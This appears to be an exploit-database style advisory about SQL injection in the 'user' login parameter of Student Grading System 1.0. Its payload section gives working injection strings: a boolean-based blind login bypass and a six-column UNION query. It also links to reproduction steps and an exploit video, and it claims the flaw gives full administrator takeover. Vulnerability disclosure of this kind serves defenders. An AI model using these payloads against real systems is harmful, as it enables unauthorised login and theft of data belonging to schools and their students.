Student Grading System 1.0 SQL Injection

`## Title: Student Grading System v1.0 SQLi  
## Author: nu11secur1ty  
## Date: 03.14.2022  
## Vendor: https://www.sourcecodester.com/users/tips23  
## Software: https://www.sourcecodester.com/php/14522/student-grading-system-using-phpmysql-source-code.html  
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Student-Grading-System  
  
## Description:  
The `user` parameter appears to be vulnerable to SQL injection attacks.  
A single quote was submitted in the user parameter, and a database  
error message was returned.  
Two single quotes were then submitted and the error message disappeared.  
You should review the contents of the error message, and the  
application's handling of other input, to confirm whether a  
vulnerability is present.  
The attacker can take administrator account control and also of all  
accounts and files information on this system, also the malicious user  
can download all information about this system.  
  
Status: CRITICAL  
  
[+] Payloads:  
  
```mysql  
  
---  
Parameter: user (POST)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: user=-6693' OR 2950=2950-- qPwW&pwd=d0Y!w7s!B1  
  
Type: UNION query  
Title: Generic UNION query (random number) - 6 columns  
Payload: user=-7952' UNION ALL SELECT  
5650,5650,CONCAT(0x71786a7a71,0x7564497973726b65496f6e5778706143684359517149546e46776d6843484a504e624e7967484c57,0x716b627171),5650,5650,5650--  
-&pwd=d0Y!w7s!B1  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Student-Grading-System)  
  
## Proof and Exploit:  
[href](https://streamable.com/h0x4xl)  
  
  
`